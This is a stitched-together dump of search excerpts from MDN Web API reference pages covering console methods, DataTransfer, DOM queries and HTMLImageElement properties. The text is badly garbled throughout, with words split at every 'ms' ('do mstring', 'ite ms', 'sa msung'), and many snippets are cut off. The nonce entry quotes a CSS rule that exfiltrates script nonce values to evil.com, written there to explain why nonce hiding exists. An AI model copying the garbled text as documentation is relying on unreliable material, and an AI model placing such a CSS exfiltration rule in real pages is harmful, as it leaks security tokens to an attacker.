syntax console.error(obj1 [, obj2, ..., objn]); console.error(
msg [, subst1, ..., substn]); console.exception(obj1 [, obj2, ..., objn]); console.exception(
msg [, subst1, ..., substn]); note: console.exception() is an alias for console.error(); they are functionally identical.
...
msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within
msg.
console.log() - Web APIs
syntax console.log(obj1 [, obj2, ..., objn]); console.log(
msg [, subst1, ..., substn]); parameters obj1 ...
...
msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within
msg.
Console.warn() - Web APIs
syntax console.warn(obj1 [, obj2, ..., objn]); console.warn(
msg [, subst1, ..., substn]); parameters obj1 ...
...
msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within
msg.
ContentIndex.getAll() - Web APIs
return value returns a promise that resolves with an array of contentdescription ite
ms.
...if there are no ite
ms in the content index, an empty array is returned.
... examples the below example shows an asynchronous function that retrieves ite
ms within the content index and iterates over each entry, building a list for the interface.
DOMException() - Web APIs
name optional returns a do
mstring that contains one of the strings associated with an error constant.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdomexception() constructorchrome full support yesedge full support 79firefox ?
... sa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
DOMImplementation.createDocumentType() - Web APIs
syntax var doctype = document.implementation.createdocumenttype(qualifiednamestr, publicid, systemid); parameters qualifiednamestr is a do
mstring containing the qualified name, like svg:svg.
... publicid is a do
mstring containing the public identifier.
... systemid is a do
mstring containing the system identifiers.
DataTransfer.getData() - Web APIs
the datatransfer.getdata() method retrieves drag data (as a do
mstring) for the specified type.
... syntax datatransfer.getdata(format); arguments format a do
mstring representing the type of data to retrieve.
... return value do
mstring a do
mstring representing the drag data for the specified format.
DataTransfer.mozTypesAt() - Web APIs
if the index is not in the range from 0 to the number of ite
ms minus one, an empty string list is returned.
...if the index is not in the range from 0 to the number of ite
ms minus one, an empty string list is returned.
... function drop_handler(event) { var dt = event.datatransfer; var count = dt.mozitemcount; output("ite
ms: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications this method is not defined in any web standard.
DataTransferItemList.add() - Web APIs
ver_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.ite
ms; datalist.add(ev.target.id, "text/plain"); // add some other ite
ms to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.ite
ms; // loop through the dropped ite
ms and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.ite
ms; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html living standardthe definition of 'add()' in that specification.
DataTransferItemList.remove() - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.ite
ms; datalist.add(ev.target.id, "text/plain"); // add some other ite
ms to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.ite
ms; // loop through the dropped ite
ms and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.ite
ms; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } html <h1>example uses of <code>datatransferitemlist</code> methods and property</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then...
DataTransferItemList - Web APIs
the datatransferitemlist object is a list of datatransferitem objects representing ite
ms being dragged.
... properties datatransferitemlist.length read only an unsigned long that is the number of drag ite
ms in the list.
... datatransferitemlist.clear() removes all of the drag ite
ms from the list.
DirectoryEntrySync - Web APIs
var direntry = fs.root.getdirectory('superseekrit', {create: true}); method overview directoryreadersync createreader () raises (fileexception); fileentrysync getfile (in do
mstring path, in optional flags options) raises (fileexception); directoryentrysync getdirectory (in do
mstring path, in optional flags options) raises (fileexception); void removerecursively () raises (fileexception); methods createreader() creates a new directoryreadersync to read entries from this directory.
... void getfile ( in do
mstring path, in optional flags options ) raises (fileexception); parameter path either an absolute path or a relative path from the directory to the file to be looked up or created.
... void getdirectory ( in do
mstring path, in optional flags options ) raises (fileexception); parameter path either an absolute path or a relative path from the directory to the file to be looked up or created.
Document.getElementsByTagName() - Web APIs
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>getelementsbytagname example</title> <script> function getallparaele
ms() { var allparas = document.getelementsbytagname('p'); var num = allparas.length; alert('there are ' + num + ' paragraph in this document'); } function div1paraele
ms() { var div1 = document.getelementbyid('div1'); var div1paras = div1.getelementsbytagname('p'); var num = div1paras.length; alert('there are ' + num + ' paragraph in #div1'); } ...
... function div2paraele
ms() { var div2 = document.getelementbyid('div2'); var div2paras = div2.getelementsbytagname('p'); var num = div2paras.length; alert('there are ' + num + ' paragraph in #div2'); } </script> </head> <body style="border: solid green 3px"> <p>some outer text</p> <p>some outer text</p> <div id="div1" style="border: solid blue 3px"> <p>some div1 text</p> <p>some div1 text</p> <p>some div1 text</p> <div id="div2" style="border: solid red 3px"> <p>some div2 text</p> <p>some div2 text</p> </div> </div> <p>some outer text</p> <p>some outer text</p> <button onclick="getallparaele
ms();"> show all p elements in document</button><br /> <button onclick="div1paraele
ms();"> show all p elements ...
...in div1 element</button><br /> <button onclick="div2paraele
ms();"> show all p elements in div2 element</button> </body> </html> notes when called on an html document, getelementsbytagname() lower-cases its argument before proceeding.
Document.getElementsByTagNameNS() - Web APIs
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>getelementsbytagnamens example</title> <script type="text/javascript"> function getallparaele
ms() { var allparas = document.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = allparas.length; alert("there are " + num + " <p> elements in this document"); } function div1paraele
ms() { var div1 = document.getelementbyid("div1") var div1paras = div1.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div1paras.length; alert("there ...
...are " + num + " <p> elements in div1 element"); } function div2paraele
ms() { var div2 = document.getelementbyid("div2") var div2paras = div2.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div2paras.length; alert("there are " + num + " <p> elements in div2 element"); } </script> </head> <body style="border: solid green 3px"> <p>some outer text</p> <p>some outer text</p> <div id="div1" style="border: solid blue 3px"> <p>some div1 text</p> <p>some div1 text</p> <p>some div1 text</p> <div id="div2" style="border: solid red 3px"> <p>some div2 text</p> <p>some div2 text</p> </div> </div> <p>some outer text</p> <p>some outer text</p> <button onclick="getallparaele
ms();"> show all p elements in document</button><b...
...r /> <button onclick="div1paraele
ms();"> show all p elements in div1 element</button><br /> <button onclick="div2paraele
ms();"> show all p elements in div2 element</button> </body> </html> potential workaround for other browsers which do not support if the desired browser did not support xpath, another approach (such as traversing the dom through all its children, identifying all @xmlns instances, etc.) would be necessary to find all tags with the desired local name and namespace, but xpath is much faster.
Document.querySelectorAll() - Web APIs
syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a do
mstring containing one or more selectors to match against.
... var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list ite
ms contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array.
...you can use any common looping statement, such as: var highlightedite
ms = userlist.queryselectorall(".highlighted"); highlightedite
ms.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results.
DocumentFragment.querySelector() - Web APIs
syntax element = documentfragment.queryselector(selectors); parameters selectors is a do
mstring containing one or more css selectors separated by commas.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetqueryselectorchrome full support 1edge full support 12firefox full support 3.5ie full support 9opera full support 10safari full support ...
... 3.2webview android full support yeschrome android full support yesfirefox android full support 4opera android full support 10.1safari ios full support 3.2sa
msung internet android full support yeslegend full support full support see also the documentfragment interface it belongs to.
DocumentOrShadowRoot.activeElement - Web APIs
for example, on macos syste
ms, elements that aren't text input elements are not typically focusable by default.
...donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accu
msan nunc orci eu dui.</textarea> <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">this is text area two.
... fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accu
msan orci lacus laoreet diam.
Element.currentStyle - Web APIs
microsoft had a description on
msdn.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcurrentstyle non-standardchrome no support noedge no support nofirefox no support noie full support 6opera no support nosafari no support nowebview a...
...ndroid no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportnon-standard.
Element.getClientRects() - Web APIs
for html <area> elements, svg elements that do not render anything the
mselves, display:none elements, and generally any elements that are not directly rendered, an empty list is returned.
... note: the overlays will be out of place if the user resizes or zoo
ms.
... working draft initial definition notes getclientrects() was first introduced in the
ms ie dhtml object model.
Element.innerHTML - Web APIs
syntax const content = element.innerhtml; element.innerhtml = htmlstring; value a do
mstring containing the html serialization of the element's descendants.
... javascript function log(
msg) { var logelem = document.queryselector(".log"); var time = new date(); var timestr = time.tolocaletimestring(); logelem.innerhtml += timestr + ": " +
msg + "<br/>"; } log("logging mouse events inside this container..."); the log() function creates the log output by getting the current time from a date object using tolocaletimestring(), and building a string with the timestamp and th...
... we add a second method that logs information about mouseevent based events (such as mousedown, click, and mouseenter): function logevent(event) { var
msg = "event <strong>" + event.type + "</strong> at <em>" + event.clientx + ", " + event.clienty + "</em>"; log(
msg); } then we use this as the event handler for a number of mouse events on the box that contains our log: var boxelem = document.queryselector(".box"); boxelem.addeventlistener("mousedown", logevent); boxelem.addeventlistener("mouseup", logevent); boxelem.addeventlistener("click", logevent); boxelem.addeventlistener("mouseenter", logevent); boxelem.addeventlistener("mouseleave", logevent); html the html is quite simple for our examp...
Element.querySelectorAll() - Web APIs
syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a do
mstring containing one or more selectors to match against.
... var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the iframe elements in the document that contain an attribute named "data-src": var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list ite
ms contained within a list whose id is "userlist" which have a "data-active" attribute whose value is "1": var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array.
...you can use any common looping statement, such as: var highlightedite
ms = userlist.queryselectorall(".highlighted"); highlightedite
ms.foreach(function(useritem) { deleteuser(useritem); }); note: nodelist is not a genuine array, that is to say it doesn't have the array methods like slice, some, map etc.
Element.runtimeStyle - Web APIs
microsoft had a description on
msdn.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetruntimestyle non-standardchrome no support noedge no support nofirefox no support noie full support 6opera no support nosafari no support nowebview a...
...ndroid no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportnon-standard.
Element.scroll() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetscrollchrome full support 45edge full support 79firefox full support 36ie no support noopera full support 32safari full support ...
... 10webview android full support 45chrome android full support 45firefox android full support 36opera android full support 32safari ios no support nosa
msung internet android full support 5.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full support ...
... nowebview android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no support ...
Element.scrollHeight - Web APIs
syntax ele
mscrollheight = element.scrollheight; value an integer corresponding to the scrollheight pixel value of the element.
... padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom proble
ms and solutions determine if an element has been totally scrolled the following equivalence returns true if an element is at the end of its scroll, false if it isn't.
...in hac habitasse platea dictu
mst.
Element.scrollTo() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetscrolltochrome full support 45edge full support 79firefox full support 36ie no support noopera full support 32safari full support ...
... 10webview android full support 45chrome android full support 45firefox android full support 36opera android full support 32safari ios no support nosa
msung internet android full support 5.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full support ...
... nowebview android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no support ...
Element.slot - Web APIs
syntax var astring = element.slot element.slot = astring value a do
mstring.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetslotchrome full support 53edge full support ≤79firefox full support 63ie ?
... 10webview android full support 53chrome android full support 53firefox android full support 63opera android full support yessafari ios full support yessa
msung internet android full support 6.0legend full support full support compatibility unknown compatibility unknown ...
Event.initEvent() - Web APIs
syntax event.initevent(type, bubbles, cancelable); type is a do
mstring defining the type of event.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetinitevent deprecatedchrome full support yesedge full support 12firefox full support 17 full support 17 no support ?
...— 17notes notes before firefox 17, a call to this method after the dispatching of the event raised an exception instead of doing nothing.opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full supportdeprecated.
ExtendableMessageEvent() - Web APIs
syntax var extendablemessageevent = new extendablemessageevent(type, init); parameters type a do
mstring that defines the type of the message event being created.
... origin: a do
mstring that defines the origin of the corresponding service worker's environment settings object.
... lasteventid: a do
mstring that defines the last event id of the event source.
FetchEvent() - Web APIs
syntax var fetchevent = new fetchevent(type, init); parameters type a do
mstring object specifying which event the object represents.
... replacesclientid read only a do
mstring which identifies the client which is being replaced by resultingclientid.
... resultingclientid read only a do
mstring containing the new clientid if the client changes as a result of the page load.
File.lastModified - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 somefile.lastmodified; // 1519211809934 // 1519211810362 // 1519211811670 // ...
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
File.lastModifiedDate - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 somefile.lastmodifieddate.gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ...
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
File - Web APIs
blob.prototype.stream() transfor
ms the file into a readablestream that can be used to read the file contents.
... blob.prototype.text() transfor
ms the file into a stream and reads it to completion.
... blob.prototype.arraybuffer() transfor
ms the file into a stream and reads it to completion.
FileException - Web APIs
not_readable_err 4 the file or directory cannot be read, typically due to permission proble
ms that occur after a reference to a file has been acquired (for example, the file or directory is concurrently locked by another application).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfileexception deprecatednon-standardchrome no support 13 — 29prefixed no support 13 — 29prefixed prefixed implemented with the vendor prefix: webkitedge no support nofirefox no support noie no support ...
... nochrome android no support 18 — 29prefixed no support 18 — 29prefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support 1.0 — 3.0prefixed no support 1.0 — 3.0prefixed prefixed implemented with the vendor prefix: webkitlegend no support no supportnon-standard.
FileSystem.name - Web APIs
this usvstring is unique among all file syste
ms currently exposed by the file and directory entries api.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnamechrome full support 7edge full support ≤18firefox full support 50ie no support noopera full support 15safari full support ...
... 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera android full support 14safari ios full support 11.3sa
msung internet android full support 1.0legend full support full support no support no support ...
FileSystemDirectoryReader - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfilesystemdirectoryreader deprecatednon-standardchrome full support 8alternate name full support 8alternate name alternate name uses the non-standard name: directoryreaderedge full support ≤18alternate name full support ...
... 18alternate name full support 18alternate name alternate name uses the non-standard name: directoryreaderfirefox android full support 50opera android no support nosafari ios full support 11.3sa
msung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitreadentries deprecatednon-standardchrome full support 8edge ?
... 11.1webview android full support ≤37chrome android full support 18firefox android full support yesopera android no support nosafari ios full support 11.3sa
msung internet android ?
FileSystemEntry.copyTo() - Web APIs
errorcallback optional an optional callback which is executed if an error occurs while copying the ite
ms.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcopyto experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox no support noie no support noopera no support nosafari no...
... nowebview android full support ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yeslegend full support full support no support no supportexperimental.
FileSystemEntry.isDirectory - Web APIs
there are other types of file descriptors on many operating syste
ms.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetisdirectory experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari full support ...
... 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3sa
msung internet android full support yeslegend full support full support no support no supportexperimental.
FileSystemEntry.isFile - Web APIs
there are other types of file descriptors on many operating syste
ms.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetisfile experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari full support ...
... 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3sa
msung internet android full support yeslegend full support full support no support no supportexperimental.
FileSystemEntry.moveTo() - Web APIs
errorcallback optional an optional callback which is executed if an error occurs while moving the ite
ms.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmoveto experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox no support noie no support noopera no support nosafari no...
... nowebview android full support ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yeslegend full support full support no support no supportexperimental.
HTMLBaseFontElement - Web APIs
htmlbasefontelement.color is a do
mstring representing the text color using either a named color or a color specified in the hexadecimal #rrggbb format.
... htmlbasefontelement.face is a do
mstring representing a list of one or more font names.
... htmlbasefontelement.size is a do
mstring representing the font size as either a numeric or relative value.
HTMLCollection - Web APIs
note: this interface is called htmlcollection for historical reasons (before the modern dom, collections implementing this interface could only have html elements as their ite
ms).
... properties htmlcollection.length read only returns the number of ite
ms in the collection.
... for example, assuming there is one <form> element in the document and its id is myform: var elem1, elem2; // document.for
ms is an htmlcollection elem1 = document.for
ms[0]; elem2 = document.for
ms.item(0); alert(elem1 === elem2); // shows: "true" elem1 = document.for
ms.myform; elem2 = document.for
ms.nameditem("myform"); alert(elem1 === elem2); // shows: "true" elem1 = document.for
ms["named.item.with.periods"]; specifications specification status comment domthe definition of 'htmlcollec...
HTMLFieldSetElement - Web APIs
htmlfieldsetelement.name a do
mstring reflecting the name html attribute, containing the name of the field set.
... htmlfieldsetelement.typeread only the do
mstring "fieldset".
... htmlfieldsetelement.validationmessage a do
mstring representing a localized message that describes the validation constraints that the element does not satisfy (if any).
HTMLFontElement - Web APIs
htmlfontelement.color is a do
mstring that reflects the color html attribute, containing either a named color or a color specified in the hexadecimal #rrggbb format.
... htmlfontelement.face is a do
mstring that reflects the face html attribute, containing a comma-separated list of one or more font names.
... htmlfontelement.size is a do
mstring that reflects the size html attribute, containing either a font size number ranging from 1 to 7 or a relative size to the size attribute of the <basefont> element, for example -2 or +1.
HTMLImageElement.align - Web APIs
syntax htmlimageelement.align = alignmode; alignmode = htmlimageelement.align; value a do
mstring specifying one of the following strings which set the alignment mode for the image.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetalignchrome full support 1edge full support 12firefox full support yesie ?
... safari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.border - Web APIs
syntax htmlimageelement.border = thickness; let thickness = htmlimageelement.border; value a do
mstring containing an integer value specifying the thickness of the border that should surround the image, in css pixels.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetborderchrome full support 1edge full support 12firefox full support yesie ?
... safari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.complete - Web APIs
but imagine that you have other code that needs to only run when the image has completed loading, such as a command that perfor
ms red-eye removal on the image in the lightbox.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcompletechrome full support 1edge full support 12firefox full support yesie full support 8notes full support 8notes notes ie reports false for broken images.opera...
... safari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.
HTMLImageElement.height - Web APIs
the ter
ms in which the height is defined depends on whether the image is being rendered to a visual medium or not.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetheightchrome full support 1edge full support 12firefox full support yesie .html?
... safari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.hspace - Web APIs
you should instead use the css margin property and its longhand for
ms to establish margins around an <img>.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internethspacechrome full support 1edge full support 12firefox full support yesie ?
... safari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.longDesc - Web APIs
syntax descurl = htmlimageelement.longdesc; htmlimageelement.longdesc = descurl; value a do
mstring which may be either an empty string (indicating that no long description is available) or the url of a file containing a long form description of the image's contents.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetlongdescchrome full support 1edge full support 12firefox full support yesie ?
... safari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.lowSrc - Web APIs
syntax htmlimageelement.lowsrc = imageurl; imageurl = htmlimageelement.lowsrc; value a do
mstring specifying the url of a version of the image specified by src which has been modified in some fashion so that it loads significantly more quickly than the primary image.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetlowsrcchrome full support 1edge full support ≤18firefox full support yesie ?
... sa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.name - Web APIs
syntax htmlimageelement.name = namestring; namestring = htmlimageelement.name; value a do
mstring providing a name by which the image can be referenced.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnamechrome full support 1edge full support 12firefox full support yesie ?
... safari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.referrerPolicy - Web APIs
syntax refstr = imgelt.referrerpolicy; imgelt.referrerpolicy = refstr; values a do
mstring representing the referrer policy.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreferrerpolicychrome full support 51edge full support 79firefox full support 50ie no support noopera full support 38safari full support ...
... 11.1webview android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no support ...
HTMLImageElement.vspace - Web APIs
you should instead use the css margin property and its longhand for
ms to establish margins around an <img>.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetvspacechrome full support 1edge full support 12firefox full support yesie ?
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.width - Web APIs
the ter
ms in which the width is defined depends on whether the image is being rendered to a visual medium or not.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetwidthchrome full support 1edge full support 12firefox full support yesie .html?
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.x - Web APIs
let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log =
msg => { logbox.innerhtml += `${
msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetxchrome full support 1edge full support 12firefox full support 14 full support 14 no support ?
...— 7opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support ...
HTMLImageElement.y - Web APIs
let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log =
msg => { logbox.innerhtml += `${
msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetychrome full support 1edge full support 12firefox full support 14 full support 14 no support ?
...— 7opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support ...
HTMLOptionElement - Web APIs
htmloptionelement.label read only is a do
mstring that reflects the value of the label html attribute, which provides a label for the option.
... htmloptionelement.text is a do
mstring that contains the text content of the element.
... htmloptionelement.value is a do
mstring that reflects the value of the value html attribute, if it exists; otherwise reflects value of the node.textcontent property.
HTMLOrForeignElement.dataset - Web APIs
it is a map of do
mstrings (do
mstringmap) with one entry for each custom data attribute.
... name conversion dash-style to camelcase conversion a custom data attribute name is transformed to a key for the do
mstringmap entry with the following rules the prefix data- is removed (including the dash); for any dash (u+002d) followed by an ascii lowercase letter a to z, the dash is removed, and the letter is transformed into its uppercase counterpart; other characters (including other dashes) are left unchanged.
... syntax const dataattrmap = element.dataset value a do
mstringmap.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanis
ms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnoncechrome full support 61edge full support 79firefox full support 75ie no support noopera full support yessafari full support 10webview andro...
...id full support 61chrome android full support 61firefox android no support noopera android full support yessafari ios full support 10sa
msung internet android full support 8.0legend full support full support no support no support ...
HTMLScriptElement.referrerPolicy - Web APIs
